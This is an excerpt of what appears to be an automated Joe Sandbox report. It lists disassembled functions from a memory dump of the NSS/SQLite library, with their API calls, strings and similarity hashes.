Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 35e48f3063789094f5a4df611ba39e49066095e1721ffd7dea65bb4d5daed2b7
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 4F11EBB6B001046BDB008E64EC00A9B77E99B842ACF384139EC2CD7781E772ED16C791

Function 6CF4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF4CC7B), ref: 6CF4CD7A
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CD8E
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CDA5
Part of subcall function 6CF4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF4CCB5
memcpy.VCRUNTIME140(6CFE14F4,6CFE02AC,00000090), ref: 6CF4CCD3
memcpy.VCRUNTIME140(6CFE1588,6CFE02AC,00000090), ref: 6CF4CD2B

Part of subcall function 6CE69AC0: socket.WSOCK32(?,00000017,6CE699BE), ref: 6CE69AE6
Part of subcall function 6CE69AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE699BE), ref: 6CE69AFC

Part of subcall function 6CE70590: closesocket.WSOCK32(6CE69A8F,?,?,6CE69A8F,00000000), ref: 6CE70597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF4CCB0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: d489f4be2971bb82b04e0f2a66395ed5fe443a5fd26f3521bb77c18c3945ac80
Instruction ID: f4e54b0560a41710ad105d9f48face06fd1577792687f00eca218fa70ab03048
Opcode Fuzzy Hash: d489f4be2971bb82b04e0f2a66395ed5fe443a5fd26f3521bb77c18c3945ac80
Instruction Fuzzy Hash: B21133B1F113407EEFD09B5B9C467563AB8934E218F14A039E5168BB53E772C448CBD2

Function 6CEB1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CEB1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CEB1CF1

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

Strings

pInitArgs = 0x%p, xrefs: 6CEB1CEC
C_Initialize, xrefs: 6CEB1CD3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: e6e3ff3e68bec83eff7474cf5f0f9b7e2465de4d4df17e7a31b66854504e5b70
Instruction ID: ead31d5a0e7eb439b053499e516d46e95fef34df116c4bc649fb1bb563a5afb6
Opcode Fuzzy Hash: e6e3ff3e68bec83eff7474cf5f0f9b7e2465de4d4df17e7a31b66854504e5b70
Instruction Fuzzy Hash: 4601D234A10081EFDFD49B94DA48B6533B5EBCA32AF144428E408E2711EF35D949CB92

Function 6CE0A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CF3A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF5C3A2,?,?,00000000,00000000), ref: 6CF3A528
Part of subcall function 6CF3A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0A94F

Strings

database corruption, xrefs: 6CE0A943
%s at line %d of [%.10s], xrefs: 6CE0A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0A939

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 591ec43e1a217631418f1a588defbe29cefff378d7bf0914d3f5b6416262919c
Instruction ID: 36a9a75019305d3077075fecf7b600356ef749beedb3c9a01afbdc459af9f06c
Opcode Fuzzy Hash: 591ec43e1a217631418f1a588defbe29cefff378d7bf0914d3f5b6416262919c
Instruction Fuzzy Hash: 96014932F402086BC7008B7AEC01B9BB7F5AB45309F954839E94D97B41D772AC19C7D1

Function 6CE17F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE181DF
LeaveCriticalSection.KERNEL32(?), ref: 6CE18239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE18255
sqlite3_free.NSS3(00000000), ref: 6CE18260

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 531aa67391635d9ae60940e2845b8cdda93b6ed027a9a54e221ecd2b53ea9c96
Instruction ID: be877f7b4ae58ae9b3b29dffa8f958f03def080d105c45eadcc240430238eb68
Opcode Fuzzy Hash: 531aa67391635d9ae60940e2845b8cdda93b6ed027a9a54e221ecd2b53ea9c96
Instruction Fuzzy Hash: E491AE31E152089FEB44DFE0D8487ADBBB2BF0A308F35412ED4169BA54DB396965CB81

Function 6CEF1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF1D8F

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEF1DA6

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEF1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEF1ED0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: b8ca846fcce3ad9e17ff1e2c2f104b42900a882743dc487c4cd1abbfb4969a3a
Instruction ID: d0c763e5dc14281bcf206430b1637f0fab52f7039cc98a343b5c006b633d3ece
Opcode Fuzzy Hash: b8ca846fcce3ad9e17ff1e2c2f104b42900a882743dc487c4cd1abbfb4969a3a
Instruction Fuzzy Hash: 89514AB5A0030DDFDB14CF98C884BAEBBB6BF49358F244129D8299B751D731E946CB90

Function 6CF44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CE285D2,00000000,?,?), ref: 6CF44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF450D6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 897081f9ee58480959a8574b92de3037a01e77c728743b846db4821ad9404343
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 564182B6A402158FDB18CF18DCD179ABBE1BF4431871D866DD84ACBB02E775E891CB81

Function 6CE6FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE6FDFE), ref: 6CE6FFAD

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE6FDFE), ref: 6CE6FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE6FDFE), ref: 6CE7001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE6FDFE), ref: 6CE7006F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: afb627279b72171f726641742f793bfcacbc10450348c0fe957f74c3b4c4183f
Instruction ID: c9126257d84610b2d5a29f1d279fb24edb2961080d30ed0e0dfbd0b191c62dfb
Opcode Fuzzy Hash: afb627279b72171f726641742f793bfcacbc10450348c0fe957f74c3b4c4183f
Instruction Fuzzy Hash: 7841D0B1F002059BDF48DFA4D889BAEB775FF4A318F14052DD90693740DB3AA941CBA1

Function 6CF57DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF57ED8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 2e44745b3ef4d456a0976932f0c1633610825147eff9e7ff66aa1d5203fdcb0e
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: E131B3B2B112118FDB04CF08D8919DABBE2FF8831871B816AC9589B711EB71EC55CBD1

Function 6CF0DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CF0DBBD), ref: 6CF0DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF0DFEE

Part of subcall function 6CEA86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA8716
Part of subcall function 6CEA86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA8727
Part of subcall function 6CEA86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA873B
Part of subcall function 6CEA86D0: PR_Unlock.NSS3(?), ref: 6CEA876F
Part of subcall function 6CEA86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CEA8787

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CF0DBBD), ref: 6CF0DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CF0DBBD), ref: 6CF0E007

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 7aceaec0ee479cec3f0225e7f2bfa54344ecf9409a3ddc2ca67829190469f52f
Instruction ID: 45e4572476a4bf2dead89cc1e7f95a29ee32564bd9a3f2936929af2a13af5e41
Opcode Fuzzy Hash: 7aceaec0ee479cec3f0225e7f2bfa54344ecf9409a3ddc2ca67829190469f52f
Instruction Fuzzy Hash: 7B3107B1B0020157E7109A79AC94A9B73B89F5470EF144139EA09C7B12FF35D918D3E2

Function 6CE86C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE86C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE86CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE86CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CFA8FE0), ref: 6CE86CFE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 84f7bca804c2888f2b4cad8bb94b0cb03e9bddfcd7b294b5159da00c387039ab
Instruction ID: ab3813d5a28a2c2042adf3946ace7aaa7344f3d0d3a145d58292694bf0506067
Opcode Fuzzy Hash: 84f7bca804c2888f2b4cad8bb94b0cb03e9bddfcd7b294b5159da00c387039ab
Instruction Fuzzy Hash: 5D3183B1A012169FDB04DF65C851ABFB7F9EF49248F20442DD909D7750FB719905CBA0

Function 6CF94F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF94F5D
free.MOZGLUE(?), ref: 6CF94F74
free.MOZGLUE(?), ref: 6CF94F82
GetLastError.KERNEL32 ref: 6CF94F90

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a475f6e56bdedf696f3628ce229c021c8ef00fb516a36298fc7dd4209ff379fd
Instruction ID: 10ec33a032f31139702b8de5b642c936c7aa835937d7bfd3c915468047c32f66
Opcode Fuzzy Hash: a475f6e56bdedf696f3628ce229c021c8ef00fb516a36298fc7dd4209ff379fd
Instruction Fuzzy Hash: 6F31FB75A0061A5BFF01CB69DC45BDFB7B8EF4535CF050229EC26A7781DB34E9048691

Function 6CEF6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF6E57

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6EAA

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: e561cecb0224ad4b6606bc9e262f8726ba5b4fb33f5aab028c324303e2f38320
Instruction ID: 605f30724ef5977fa6e8757a12c1caae4373005a729358fd22c29e2cea9c19d5
Opcode Fuzzy Hash: e561cecb0224ad4b6606bc9e262f8726ba5b4fb33f5aab028c324303e2f38320
Instruction Fuzzy Hash: 38318133610512EBDB145E34D904396B7B8AB0531EF30463DD4AAD6B81EB317A5ACF91

Function 6CEDDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

